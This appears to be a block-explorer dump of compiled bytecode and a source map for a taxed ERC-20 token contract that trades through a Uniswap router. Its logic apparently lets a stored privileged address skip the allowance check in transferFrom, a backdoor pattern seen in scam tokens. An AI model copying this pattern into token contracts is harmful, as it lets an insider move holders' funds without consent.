497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106d05760405162461bcd60e51b81526004016103f0906116aa565b6106dc6009600a6117d3565b6106ea90633b9aca006117e1565b600d556106f96009600a6117d3565b61070790633b9aca006117e1565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107376009600a6117d3565b61074590633b9aca006117e1565b60405190815260200160405180910390a1565b5f61041e338484610cd3565b5f546001600160a01b0316331461078d5760405162461bcd60e51b81526004016103f0906116aa565b5f4711610798575f80fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107cf573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107fb5760405162461bcd60e51b81526004016103f0906116aa565b601254600160a01b900460ff16156108555760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561089e9030906108906009600a6117d3565b6104e690633b9aca006117e1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610912919061182e565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610971573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610995919061182e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109df573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a03919061182e565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a4a816001600160a01b03165f9081526001602052604090205490565b5f80610a5d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae89190611849565b50506012546001600160a01b03169050610b00575f80fd5b60125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610b52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b76919061180f565b50600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610c125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b038216610c735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f0565b6001600160a01b038216610d995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f0565b5f8111610dfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b5f80546001600160a01b03858116911614801590610e2557505f546001600160a01b03848116911614155b156110d2576012546001600160a01b0390811690851603610e6957610e66606461059a600954600c5411610e5b57600554610e5f565b6007545b8590611247565b90505b6012546001600160a01b038581169116148015610e9457506011546001600160a01b03848116911614155b8015610eb857506001600160a01b0383165f9081526003602052604090205460ff16155b15610fee57601254600160a01b900460ff16610f0d5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016103f0565b600d54821115610f5f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f0565b600e5482610f81856001600160a01b03165f9081526001602052604090205490565b610f8b9190611874565b1115610fd95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f0565b600c8054905f610fe883611887565b91905055505b6012546001600160a01b03848116911614801561101457506001600160a01b0384163014155b156110415761103e606461059a600a54600c541161103457600654610e5f565b6008548590611247565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561107757506012546001600160a01b038581169116145b801561108c5750601254600160b01b900460ff165b801561109b5750600b54600c54115b156110d057600f548111156110c7576110c76110c2846110bd84601054611306565b611306565b61131a565b6110d04761148a565b505b801561114a57305f908152600160205260409020546110f190826114c5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111419085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461116c9083611523565b6001600160a01b0385165f908152600160205260409020556111af6111918383611523565b6001600160a01b0385165f90815260016020526040902054906114c5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f88585611523565b60405190815260200160405180910390a350505050565b5f81848411156112325760405162461bcd60e51b81526004016103f09190611590565b505f61123e848661189f565b95945050505050565b5f825f0361125657505f610422565b5f61126183856117e1565b90508261126e85836118b2565b146104ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b5f6104ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611564565b5f81831161131457826104ef565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611360576113606118d1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113db919061182e565b816001815181106113ee576113ee6118d1565b6001600160a01b0392831660209182029290920101526011546114149130911684610bb0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144c9085905f908690309042906004016118e5565b5f604051808303815f87803b158015611463575f80fd5b505af1158015611475573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156114c1573d5f803e3d5ffd5b5050565b5f806114d18385611874565b9050838110156104ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b5f6104ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120f565b5f81836115845760405162461bcd60e51b81526004016103f09190611590565b505f61123e84866118b2565b5f602080835283518060208501525f5b818110156115bc578581018301518582016040015282016115a0565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107cf575f80fd5b5f8060408385031215611601575f80fd5b823561160c816115dc565b946020939093013593505050565b5f805f6060848603121561162c575f80fd5b8335611637816115dc565b92506020840135611647816115dc565b929592945050506040919091013590565b5f60208284031215611668575f80fd5b81356104ef816115dc565b5f8060408385031215611684575f80fd5b823561168f816115dc565b9150602083013561169f816115dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172d57815f1904821115611713576117136116df565b8085161561172057918102915b93841c93908002906116f8565b509250929050565b5f8261174357506001610422565b8161174f57505f610422565b8160018114611765576002811461176f5761178b565b6001915050610422565b60ff841115611780576117806116df565b50506001821b610422565b5060208310610133831016604e8410600b84101617156117ae575081810a610422565b6117b883836116f3565b805f19048211156117cb576117cb6116df565b029392505050565b5f6104ef60ff841683611735565b8082028115828204841417610422576104226116df565b5f60208284031215611808575f80fd5b5051919050565b5f6020828403121561181f575f80fd5b815180151581146104ef575f80fd5b5f6020828403121561183e575f80fd5b81516104ef816115dc565b5f805f6060848603121561185b575f80fd5b8351925060208401519150604084015190509250925092565b80820180821115610422576104226116df565b5f60018201611898576118986116df565b5060010190565b81810381811115610422576104226116df565b5f826118cc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119355784516001600160a01b031683529383019391830191600101611910565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a69519e778c9bbc4e275d6271ba2f7f49fa0c244d11ead137dd6327ecb5590364736f6c63430008180033

Deployed Bytecode Sourcemap

3693:7530:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11112:108;;;;;;;;;;;;;:::i;:::-;;5450:83;;;;;;;;;;-1:-1:-1;5520:5:0;;;;;;;;;;;;-1:-1:-1;;;5520:5:0;;;;5450:83;;;;;;;:::i;:::-;;;;;;;;6283:161;;;;;;;;;;-1:-1:-1;6283:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6283:161:0;1023:187:1;4727:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4727:45:0;1215:177:1;5727:95:0;;;;;;;;;;;;;:::i;6452:359::-;;;;;;;;;;-1:-1:-1;6452:359:0;;;;;:::i;:::-;;:::i;5636:83::-;;;;;;;;;;-1:-1:-1;5636:83:0;;4365:1;2000:36:1;;1988:2;1973:18;5636:83:0;1858:184:1;8305:270:0;;;;;;;;;;-1:-1:-1;8305:270:0;;;;;:::i;:::-;;:::i;5830:119::-;;;;;;;;;;-1:-1:-1;5830:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5923:18:0;5896:7;5923:18;;;:9;:18;;;;;;;5830:119;2671:148;;;;;;;;;;;;;:::i;10944:160::-;;;;;;;;;;;;;:::i;4559:47::-;;;;;;;;;;;;;;;;2457:79;;;;;;;;;;-1:-1:-1;2495:7:0;2522:6;2457:79;;-1:-1:-1;;;;;2522:6:0;;;2445:51:1;;2433:2;2418:18;2457:79:0;2299:203:1;4613:49:0;;;;;;;;;;;;;;;;5541:87;;;;;;;;;;-1:-1:-1;5613:7:0;;;;;;;;;;;;-1:-1:-1;;;5613:7:0;;;;5541:87;;5957:167;;;;;;;;;;-1:-1:-1;5957:167:0;;;;;:::i;:::-;;:::i;8142:151::-;;;;;;;;;;;;;:::i;4669:51::-;;;;;;;;;;;;;;;;7166:765;;;;;;;;;;-1:-1:-1;7166:765:0;;;;;:::i;:::-;;:::i;6132:143::-;;;;;;;;;;-1:-1:-1;6132:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6240:18:0;;;6213:7;6240:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6132:143;11112:108;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;;;;;;;;;11165:11:::1;:18:::0;;-1:-1:-1;;;;11194:18:0;-1:-1:-1;;;11194:18:0;;;11112:108::o;6283:161::-;6358:4;6375:39;292:10;6398:7;6407:6;6375:8;:39::i;:::-;-1:-1:-1;6432:4:0;6283:161;;;;;:::o;5727:95::-;5780:7;4424:13;4365:1;4424:2;:13;:::i;:::-;4408:29;;:13;:29;:::i;:::-;5800:14;;5727:95;:::o;6452:359::-;6541:4;6558:27;6568:4;6574:2;6578:6;6558:9;:27::i;:::-;6593:10;;-1:-1:-1;;;;;6593:10:0;292;2908:6;6590:57;;;;;6622:25;6625:7;2495;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;6625:7;-1:-1:-1;;;;;2908:6:0;292:10;2908:6;;2827:95;6622:25;6621:26;6590:57;6587:73;;;-1:-1:-1;6656:4:0;6649:11;;6587:73;6672:109;6681:4;6687;6693:87;6729:6;6693:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6693:17:0;;;;;;:11;:17;;;;;;;;292:10;6693:31;;;;;;;;;;:35;:87::i;:::-;6672:8;:109::i;:::-;-1:-1:-1;6799:4:0;6452:359;;;;;;:::o;8305:270::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;8408:55:::1;::::0;-1:-1:-1;;;8408:55:0;;8457:4:::1;8408:55;::::0;::::1;2445:51:1::0;8390:15:0::1;::::0;8408:105:::1;::::0;8509:3:::1;::::0;8408:82:::1;::::0;8482:7;;-1:-1:-1;;;;;8408:40:0;::::1;::::0;::::1;::::0;2418:18:1;;8408:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;8390:123;;8531:8;-1:-1:-1::0;;;;;8524:25:0::1;;8550:7;2495::::0;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;8550:7:::1;8524:43;::::0;-1:-1:-1;;;;;;8524:43:0::1;::::0;;;;;;-1:-1:-1;;;;;5324:32:1;;;8524:43:0::1;::::0;::::1;5306:51:1::0;5373:18;;;5366:34;;;5279:18;;8524:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8379:196;8305:270:::0;;:::o;2671:148::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;2778:1:::1;2762:6:::0;;2741:40:::1;::::0;-1:-1:-1;;;;;2762:6:0;;::::1;::::0;2741:40:::1;::::0;2778:1;;2741:40:::1;2809:1;2792:19:::0;;-1:-1:-1;;;;;;2792:19:0::1;::::0;;2671:148::o;10944:160::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;4424:13:::1;4365:1;4424:2;:13;:::i;:::-;4408:29;::::0;:13:::1;:29;:::i;:::-;10998:12;:22:::0;4424:13:::1;4365:1;4424:2;:13;:::i;:::-;4408:29;::::0;:13:::1;:29;:::i;:::-;11031:14;:22:::0;11069:27:::1;4424:13;4365:1;4424:2;:13;:::i;:::-;4408:29;::::0;:13:::1;:29;:::i;:::-;11069:27;::::0;1361:25:1;;;1349:2;1334:18;11069:27:0::1;;;;;;;10944:160::o:0;5957:167::-;6035:4;6052:42;292:10;6076:9;6087:6;6052:9;:42::i;8142:151::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;8224:1:::1;8200:21;:25;8192:34;;;::::0;::::1;;2495:7:::0;2522:6;;8237:48:::1;::::0;-1:-1:-1;;;;;2522:6:0;;;;8263:21:::1;8237:48:::0;::::1;;;::::0;8263:21;;8237:48;2495:7;8237:48;8263:21;2522:6;8237:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8142:151::o:0;7166:765::-;2584:6;;-1:-1:-1;;;;;2584:6:0;292:10;2584:22;2576:67;;;;-1:-1:-1;;;2576:67:0;;;;;;;:::i;:::-;7246:11:::1;::::0;-1:-1:-1;;;7246:11:0;::::1;;;7245:12;7237:47;;;::::0;-1:-1:-1;;;7237:47:0;;5895:2:1;7237:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;7237:47:0::1;5693:347:1::0;7237:47:0::1;7295:15;:89:::0;;-1:-1:-1;;;;;;7295:89:0::1;7340:42;7295:89:::0;;::::1;::::0;;;7395:58:::1;::::0;7412:4:::1;::::0;4424:13:::1;4365:1;4424:2;:13;:::i;:::-;4408:29;::::0;:13:::1;:29;:::i;7395:58::-;7498:15;;;;;;;;;-1:-1:-1::0;;;;;7498:15:0::1;-1:-1:-1::0;;;;;7498:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7480:55:0::1;;7544:4;7551:15;;;;;;;;;-1:-1:-1::0;;;;;7551:15:0::1;-1:-1:-1::0;;;;;7551:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7480:94;::::0;-1:-1:-1;;;;;;7480:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6531:15:1;;;7480:94:0::1;::::0;::::1;6513:34:1::0;6583:15;;6563:18;;;6556:43;6448:18;;7480:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7464:13;:110:::0;;-1:-1:-1;;;;;7464:110:0;;::::1;-1:-1:-1::0;;;;;;7464:110:0;;::::1;;::::0;;7585:15:::1;::::0;::::1;:31;7624:21;7655:4;7661:24;7655:4:::0;-1:-1:-1;;;;;5923:18:0;5896:7;5923:18;;;:9;:18;;;;;;;5830:119;7661:24:::1;7686:1;7688::::0;7690:7:::1;2495::::0;2522:6;-1:-1:-1;;;;;2522:6:0;;2457:79;7690:7:::1;7585:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7585:129:0;;;-1:-1:-1;;;;;6969:15:1;;;7585:129:0::1;::::0;::::1;6951:34:1::0;7001:18;;;6994:34;;;;7044:18;;;7037:34;;;;7087:18;;;7080:34;7151:15;;;7130:19;;;7123:44;7698:15:0::1;7183:19:1::0;;;7176:35;6885:19;;7585:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7733:13:0::1;::::0;-1:-1:-1;;;;;7733:13:0::1;::::0;-1:-1:-1;7725:36:0::1;;;::::0;::::1;;7779:13;::::0;7810:15:::1;::::0;7772:71:::1;::::0;-1:-1:-1;;;7772:71:0;;-1:-1:-1;;;;;7810:15:0;;::::1;7772:71;::::0;::::1;5306:51:1::0;-1:-1:-1;;5373:18:1;;;5366:34;7779:13:0;::::1;::::0;7772:29:::1;::::0;5279:18:1;;7772:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7854:10:0::1;:26:::0;;-1:-1:-1;;;;;7854:26:0;;::::1;-1:-1:-1::0;;;;;;7854:26:0;;::::1;::::0;::::1;::::0;;:10:::1;7891:25:::0;;;:19:::1;:25;::::0;;;;:32;;-1:-1:-1;;7891:32:0::1;7854:26:::0;7891:32:::1;::::0;;7166:765::o;6823:335::-;-1:-1:-1;;;;;6916:19:0;;6908:68;;;;-1:-1:-1;;;6908:68:0;;7735:2:1;6908:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;6908:68:0;7533:400:1;6908:68:0;-1:-1:-1;;;;;6995:21:0;;6987:68;;;;-1:-1:-1;;;6987:68:0;;8140:2:1;6987:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;6987:68:0;7938:398:1;6987:68:0;-1:-1:-1;;;;;7066:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7118:32;;1361:25:1;;;7118:32:0;;1334:18:1;7118:32:0;;;;;;;6823:335;;;:::o;8620:1834::-;-1:-1:-1;;;;;8708:18:0;;8700:68;;;;-1:-1:-1;;;8700:68:0;;8543:2:1;8700:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;8700:68:0;8341:401:1;8700:68:0;-1:-1:-1;;;;;8787:16:0;;8779:64;;;;-1:-1:-1;;;8779:64:0;;8949:2:1;8779:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;8779:64:0;8747:399:1;8779:64:0;8871:1;8862:6;:10;8854:64;;;;-1:-1:-1;;;8854:64:0;;9353:2:1;8854:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;8854:64:0;9151:405:1;8854:64:0;8929:17;2522:6;;-1:-1:-1;;;;;8963:15:0;;;2522:6;;8963:15;;;;:32;;-1:-1:-1;2495:7:0;2522:6;-1:-1:-1;;;;;8982:13:0;;;2522:6;;8982:13;;8963:32;8959:1139;;;9023:13;;-1:-1:-1;;;;;9023:13:0;;;9015:21;;;;9012:131;;9067:76;9139:3;9067:67;9089:15;;9079:9;;:25;9078:55;;9119:14;;9078:55;;;9106:12;;9078:55;9067:6;;:10;:67::i;:76::-;9055:88;;9012:131;9172:13;;-1:-1:-1;;;;;9164:21:0;;;9172:13;;9164:21;:55;;;;-1:-1:-1;9203:15:0;;-1:-1:-1;;;;;9189:30:0;;;9203:15;;9189:30;;9164:55;:84;;;;-1:-1:-1;;;;;;9225:23:0;;;;;;:19;:23;;;;;;;;9223:25;9164:84;9160:376;;;9278:11;;-1:-1:-1;;;9278:11:0;;;;9270:43;;;;-1:-1:-1;;;9270:43:0;;9763:2:1;9270:43:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:50;9881:18;;9270:43:0;9561:344:1;9270:43:0;9350:12;;9340:6;:22;;9332:60;;;;-1:-1:-1;;;9332:60:0;;10112:2:1;9332:60:0;;;10094:21:1;10151:2;10131:18;;;10124:30;10190:27;10170:18;;;10163:55;10235:18;;9332:60:0;9910:349:1;9332:60:0;9445:14;;9435:6;9419:13;9429:2;-1:-1:-1;;;;;5923:18:0;5896:7;5923:18;;;:9;:18;;;;;;;5830:119;9419:13;:22;;;;:::i;:::-;:40;;9411:79;;;;-1:-1:-1;;;9411:79:0;;10596:2:1;9411:79:0;;;10578:21:1;10635:2;10615:18;;;10608:30;10674:28;10654:18;;;10647:56;10720:18;;9411:79:0;10394:350:1;9411:79:0;9509:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9160:376;9561:13;;-1:-1:-1;;;;;9555:19:0;;;9561:13;;9555:19;:43;;;;-1:-1:-1;;;;;;9578:20:0;;9593:4;9578:20;;9555:43;9552:174;;;9631:79;9706:3;9631:70;9653:16;;9643:9;;:26;9642:58;;9685:15;;9642:58;;;9671:13;;9631:6;;:10;:70::i;:79::-;9619:91;;9552:174;9791:4;9742:28;5923:18;;;:9;:18;;;;;;9817:6;;-1:-1:-1;;;9817:6:0;;;;9816:7;:30;;;;-1:-1:-1;9833:13:0;;-1:-1:-1;;;;;9827:19:0;;;9833:13;;9827:19;9816:30;:45;;;;-1:-1:-1;9850:11:0;;-1:-1:-1;;;9850:11:0;;;;9816:45;:79;;;;;9877:18;;9865:9;;:30;9816:79;9812:275;;;9942:17;;9919:20;:40;9916:105;;;9961:60;9969:51;9973:6;9981:38;9985:20;10007:11;;9981:3;:38::i;:::-;9969:3;:51::i;:::-;9961:7;:60::i;:::-;10040:31;10049:21;10040:8;:31::i;:::-;8997:1101;8959:1139;10113:11;;10110:161;;10181:4;10163:24;;;;:9;:24;;;;;;:39;;10192:9;10163:28;:39::i;:::-;10156:4;10138:24;;;;:9;:24;;;;;;;:64;;;;10220:39;;-1:-1:-1;;;;;10220:39:0;;;;;;;10249:9;1361:25:1;;1349:2;1334:18;;1215:177;10220:39:0;;;;;;;;10110:161;-1:-1:-1;;;;;10297:15:0;;;;;;:9;:15;;;;;;:27;;10317:6;10297:19;:27::i;:::-;-1:-1:-1;;;;;10281:15:0;;;;;;:9;:15;;;;;:43;10349:40;10367:21;:6;10378:9;10367:10;:21::i;:::-;-1:-1:-1;;;;;10349:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10335:13:0;;;;;;;:9;:13;;;;;:54;;;;10405:41;;;10424:21;:6;10435:9;10424:10;:21::i;:::-;10405:41;;1361:25:1;;;1349:2;1334:18;10405:41:0;;;;;;;8689:1765;8620:1834;;;:::o;1349:190::-;1435:7;1471:12;1463:6;;;;1455:29;;;;-1:-1:-1;;;1455:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1495:9:0;1507:5;1511:1;1507;:5;:::i;:::-;1495:17;1349:190;-1:-1:-1;;;;;1349:190:0:o;1547:246::-;1605:7;1629:1;1634;1629:6;1625:47;;-1:-1:-1;1659:1:0;1652:8;;1625:47;1682:9;1694:5;1698:1;1694;:5;:::i;:::-;1682:17;-1:-1:-1;1727:1:0;1718:5;1722:1;1682:17;1718:5;:::i;:::-;:10;1710:56;;;;-1:-1:-1;;;1710:56:0;;11446:2:1;1710:56:0;;;11428:21:1;11485:2;11465:18;;;11458:30;11524:34;11504:18;;;11497:62;-1:-1:-1;;;11575:18:1;;;11568:31;11616:19;;1710:56:0;11244:397:1;1801:132:0;1859:7;1886:39;1890:1;1893;1886:39;;;;;;;;;;;;;;;;;:3;:39::i;7939:99::-;7996:7;8024:1;8022;:3;8021:9;;8029:1;8021:9;;;-1:-1:-1;8027:1:0;7939:99;-1:-1:-1;7939:99:0:o;10462:474::-;5056:6;:13;;-1:-1:-1;;;;5056:13:0;-1:-1:-1;;;5056:13:0;;;10555:16:::1;::::0;;10569:1:::1;10555:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10555:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10555:16:0::1;10531:40;;10600:4;10582;10587:1;10582:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10582:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10626:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10626:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10582:7;;10626:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10616:4;10621:1;10616:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10616:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10691:15:::1;::::0;10659:62:::1;::::0;10676:4:::1;::::0;10691:15:::1;10709:11:::0;10659:8:::1;:62::i;:::-;10732:15;::::0;:196:::1;::::0;-1:-1:-1;;;10732:196:0;;-1:-1:-1;;;;;10732:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10813:11;;10732:15:::1;::::0;10855:4;;10882::::1;::::0;10902:15:::1;::::0;10732:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5092:6:0;:14;;-1:-1:-1;;;;5092:14:0;;;-1:-1:-1;;;;10462:474:0:o;8046:88::-;8099:10;;:27;;-1:-1:-1;;;;;8099:10:0;;;;:27;;;;;8119:6;;8099:10;:27;:10;:27;8119:6;8099:10;:27;;;;;;;;;;;;;;;;;;;;;8046:88;:::o;1018:179::-;1076:7;;1108:5;1112:1;1108;:5;:::i;:::-;1096:17;;1137:1;1132;:6;;1124:46;;;;-1:-1:-1;;;1124:46:0;;13097:2:1;1124:46:0;;;13079:21:1;13136:2;13116:18;;;13109:30;13175:29;13155:18;;;13148:57;13222:18;;1124:46:0;12895:351:1;1205:136:0;1263:7;1290:43;1294:1;1297;1290:43;;;;;;;;;;;;;;;;;:3;:43::i;1941:189::-;2027:7;2062:12;2055:5;2047:28;;;;-1:-1:-1;;;2047:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2086:9:0;2098:5;2102:1;2098;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:5